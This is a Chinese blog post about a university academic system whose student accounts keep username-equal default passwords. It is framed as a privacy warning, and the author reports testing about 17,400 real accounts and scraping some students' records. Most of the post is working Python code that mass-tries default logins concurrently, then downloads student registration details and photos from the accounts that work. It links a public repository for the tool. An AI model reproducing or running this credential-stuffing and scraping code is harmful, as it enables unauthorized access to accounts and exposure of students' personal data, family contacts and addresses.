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初衷
本文旨在提醒同学们及时修改密码，增强保护个人隐私的意识，因此代码中一些关键数据以及校名等信息不会公开！复制粘贴文章中的代码不会爬到任何东西。只是作为学习 Python 爬虫的一点总结而已！
作者所在学校的教务系统安全防范措施可谓非常不严密，学生登录甚至不需要图形验证码。每年学生入学之后，学校下发的账号，初始密码不是无规律的，而是和账号完全一致！如果学生不及时修改密码，那么其他人可以轻松登录他的账号。登录后可以看到学生的学籍信息，包括高考报名时照片，家长联系方式等，联系地址甚至详细到几单元几楼几号门，个人信息泄露情况非常严重！
结果
先说结果。经过两天连写带调试，终于完成了对全校本科生 17400 多个在网账号的测试，其中有 12600 多个账号使用的还是初始密码。此处隐去校名，统计结果如下：
| 序号 | 学院 | 年级 | 在网账号 | 可爬账号 | 年级占比 |
|---|---|---|---|---|---|
| 1 | 本一 | 2014 | 3157 | 1998 | 63.29% |
| 2 | 本一 | 2015 | 3328 | 2234 | 67.13% |
| 3 | 本一 | 2016 | 3641 | 3066 | 84.21% |
| 4 | 本一 | 2017 | 3497 | 3326 | 95.11% |
| 5 | 本三 | 2014 | 1759 | 303 | 17.23% |
| 6 | 本三 | 2015 | 1643 | 620 | 37.74% |
| 7 | 本三 | 2016 | 1605 | 1434 | 89.35% |
| 8 | 本三 | 2017 | 1552 | 639 | 41.17% |
介于初衷，只爬了 10 个账号的信息，以示严重性！
过程
本人之前做过近 2 年的 Java 相关开发，对 HTTP 协议中常用的知识了解一些，再加上 Python 出了名的简洁易用，因此入门还是比较轻松的。去年有一段时间研究过一阵子 Python，使用的是 Scrapy 框架，所以这一次我也首先想到了 Scrapy。
Scrapy 这种框架适用的情形是：已经获取了需要爬取的页面的一系列 URL ，或者 URL 是成一定规律变化的，不需要登录或者登录一次拿到 Cookie 就可以拿着这个 Cookie 一直用了。但是教务系统完全相反，它需要每次都进行登录，也许 Scrapy 有办法，但也不会太简单，索性自己写。
这套教务系统虽然安全性不怎么样，但也已是一套成熟的产品了，功能和稳定性上还是很不错的。
首先使用 Firefox 浏览器的开发者工具查看 HTTP 通信的一些信息：
登录表单通过 POST 请求进行提交，参数是账号和密码，发送的也是明文
服务器返回的响应中 Set-Cookie 就相当于给用户下发的令牌，用户下一次请求的时候带上这块令牌，服务器就能认出来这个用户是否刚登录过。这个令牌是有时间限制的，每次请求都会刷新一次时间，如果两次请求之间间隔时间超过设定值，那么服务器就不认识用户了，这次会话就结束了，需要重新登录。
刚开始使用的是 requests ，用 for 循环实现，由于 requests 是同步的，所以效率很低，还会经常卡死。后来改成了协程，用的 gevent + urllib3，效率提升了上百倍。解析 HTML 用的 lxml 的 etree，图片的保存用 PIL 的 Image。
先引入依赖
import sys
import logging
import gevent
import urllib3
import pathlib
from PIL import Image
from io import BytesIO
from lxml import etree
创建 HTTP 连接池
http = urllib3.HTTPConnectionPool(
host=settings.SERVER_HOST,
port=settings.SERVER_PORT,
strict=False,
maxsize=100,
block=False,
retries=100,
timeout=10
)
请求头的一些固定信息可以预先设定好，伪装浏览器
header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Cache-Control': 'max-age=0',
'Connection': 'Keep-alive',
'Host': settings.SERVER_HOST,
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0'
}
登录并验证是否是初始密码
# 账号校验器
class InfoValidate(object):
def __init__(self):
self.logger = InfoMain.logger
self.http = InfoMain.http
# 有效账号
self.account_valid = []
# 可爬账号
self.account_available = []
def validate(self, all_account):
# 将所有校验过程加入队列
jobs = [gevent.spawn(self.validate_account, self.http, a) for a in all_account]
gevent.joinall(jobs, timeout=0)
def validate_account(self, http, account):
# 登录请求参数
param = {"zjh": account, "mm": account}
header = headers.header
response = http.request('POST', settings.URL_LOGIN, fields=param, headers=header)
self.logger.info('发送请求>>{}'.format(param))
self.logger.info(response.status)
# 响应体解码
res_text = response.data.decode('GB2312', 'ignore')
if res_text.find('密码不正确') > -1:
# 密码有误
self.account_valid.append(account)
elif not res_text.find('证件号不存在') > -1:
# 账号可爬
self.account_available.append(account)
self.account_valid.append(account)
self.logger.info("账号可用>>>{}".format(account))
至此已经获取了所有初始密码未修改的账号了，下面研究一下，要爬取的学籍信息页的规律
一系列的信息都包裹在 //td[starts-with(@width,"275")]/text()
基于之前对账号的测试，爬取学籍信息
# 信息收集器
class InfoCollect(object):
def __init__(self):
self.logger = InfoMain.logger
self.http = InfoMain.http
# 功能模块
self.mod_get_roll_info = settings.MOD_ROLL_INFO
self.mod_get_roll_img = settings.MOD_ROLL_IMG
def get_info_queue(self, accounts):
# 将所有信息收集过程加入队列
jobs = [gevent.spawn(self.get_info, a) for a in accounts]
gevent.joinall(jobs, timeout=0)
def get_info(self, stuid):
# 登录
param = {'zjh': stuid, 'mm': stuid}
response = self.http.request('POST', settings.URL_LOGIN, fields=param)
# 保存 Cookie
cookie = response.headers['Set-Cookie'].replace('; path=/', '')
header = headers.header
header['cookie'] = cookie
# 学籍信息
if self.mod_get_roll_info:
# 带 Cookie 访问学籍信息页
response_xjxx = self.http.request('GET', settings.URL_XJXX, headers=header)
text = response_xjxx.data.decode('GB2312', 'ignore')
# 解析页面内容
selector = etree.HTML(text)
text_arr = selector.xpath('//td[starts-with(@width,"275")]/text()')
# 学籍信息
result = []
for info in text_arr:
result.append(info.strip())
self.save_info(result)
# 学籍照片
if self.mod_get_roll_img:
response_xjzp = self.http.request('GET', settings.URL_XJZP, headers=header)
image = Image.open(BytesIO(response_xjzp.data))
setpath = settings.PATH_IMG_SAVE
path = pathlib.Path(setpath)
if not path.exists():
path.mkdir()
setpath = setpath + '/' + stuid + '.jpg'
image.save(setpath)
self.logger.info('保存照片>>>{}'.format(setpath))
# 登出
self.http.request('POST', settings.URL_LOGOUT, headers=header)
至此，已经实现了所有信息的获取以及照片的保存。
没改密码的同学们应该看到了，获取个人信息其实很简单，关键在于增强自己保护个人信息的意识。
相关开源项目：URP_Spider https://github.com/JamesZBL/URP_Spider